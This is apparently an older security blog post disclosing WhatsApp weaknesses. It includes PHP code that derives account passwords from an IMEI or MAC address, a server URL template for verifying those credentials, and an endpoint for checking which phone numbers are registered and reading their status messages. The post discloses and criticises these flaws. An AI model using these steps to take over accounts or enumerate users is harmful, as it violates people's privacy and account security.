WhatsApp is broken, really broken

WhatsApp, the extremely popular instant messaging service for smartphones that delivers more than ~1billion messages per day has some serious security problems. I will try to give a detailed analysis on some of the issues.

Message Encryption

Until August 2012, messages sent through the WhatsApp service were not encrypted in any way, everything was sent in plaintext. When using WhatsApp in a public WiFi network, anybody was able to sniff incoming and outgoing messages (including file transfers). The company claims that the latest version of the software will encrypt messages – without giving any details on what cryptographic methods they are using (so it is safe to assume they did not do it the right way, using Public-key cryptography). Update: their encryption is broken.

However, the users mobile phone number is still being transferred in plaintext:

Authentication

The authentication is a security nightmare. On Android, the password is a MD5 hash of the reversed IMEI number, Example:

<?php
$imei = "112222223333334"; // example IMEI
$androidWhatsAppPassword = md5(strrev($imei)); // reverse IMEI and calculate the MD5 hash
?>

On iOS devices the password is generated from the devices WLAN MAC address:

<?php
$wlanMAC = "AA:BB:CC:DD:EE:FF"; // example WLAN MAC address
$iphoneWhatsAppPassword = md5($wlanMAC.$wlanMAC); // calculate md5 hash using the MAC address twice
?>

The username is the users mobile phone number – an attacker would probably already know the number.

The IMEI can be obtained if you have physical access to the phone or if you control an app installed on the users device. The WLAN MAC address can be found using a network sniffer. Congratulations, you can now take over a users WhatsApp account¹. But how? Well, some people have done a excellent job reverse engineering the WhatsApp protocol. There is a working PHP class available that contains everything needed to build your own WhatsApp client: https://github.com/venomous0x/WhatsAPI

Got a smartphone with WhatsApp installed? Try it out yourself using the URLs known from the reverse engineered API!

<?php
https://r.whatsapp.net/v1/exist.php?cc=$countrycode&in=$phonenumber&udid=$password

$countrycode = the country calling code
$phonenumber = the users phone number (without the country calling code)
$password = see above, for iPhone use md5($wlanMAC.$wlanMAC), for Android use md5(strrev($imei)) / Note that the WhatsAPP UDID has nothing to with the Apple UDID - it is something completely different.
?>

If you did everything right, the server will answer with a XML:

<?xml version="1.0" encoding="UTF-8"?>
<exist>
<response status="ok" result="xxxxxxxxxxx"/>
</exist>

Privacy

When WhatsApp starts it will send all numbers from your phones address book to the WhatsApp servers and check which numbers are registered with WhatsApp.

This is done like this:

<?php
https://sro.whatsapp.net/client/iphone/iq.php?cd=1&cc=$countrycode&me=$yournumber&u[]=$friend1&u[]=$friend2&u[]=$friend3&u[]=$friend4

$countrycode =  the country calling code
$yournumber = while this SHOULD be your number, it is not required, the API will accept any number 
$friendX = phone number (without the country calling code) from the address book that will be checked, u[] is an array so it is possible to check multiple numbers with one request		
?>

The server will answer with a XML document showing all numbers (hits) that were registered with WhatsApp, this will look something like this:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<array>
    <dict>
        <key>P</key>
        <string>1234567890</string>
        <key>T</key>
        <integer>10817</integer>
        <key>S</key>
        <string>Some Status Message</string>
        <key>JID</key>
        <string>23xxxxxxxxx</string>
        <key>NP</key>
        <true/>
    </dict>
</array>
</plist>

Key “P” is the users phone number, Key “T” seems to be the uptime(?), Key “S” is the users status message. Not sure about “JID” (Update: JID seems to be the JabberID) and “NP” yet – if you have smart guess let me know. All this information is public.

Local database encryption

Since this requires physical access to the device or a full backup (in both cases you are screwed anyway) this is less interesting but still worth a note. In most cases it is possible to obtain the WhatsApp message history from an encrypted device or backup, for details read this paper: WhatsApp Database Encryption Project Report.

Conclusion

Do not use WhatsApp. Really, don‘t.

¹ Actually, you can’t – it’s against the law. That being said: i did not hijack anybody’s WhatsApp account during this research and neither should you. This information is for educational purposes only.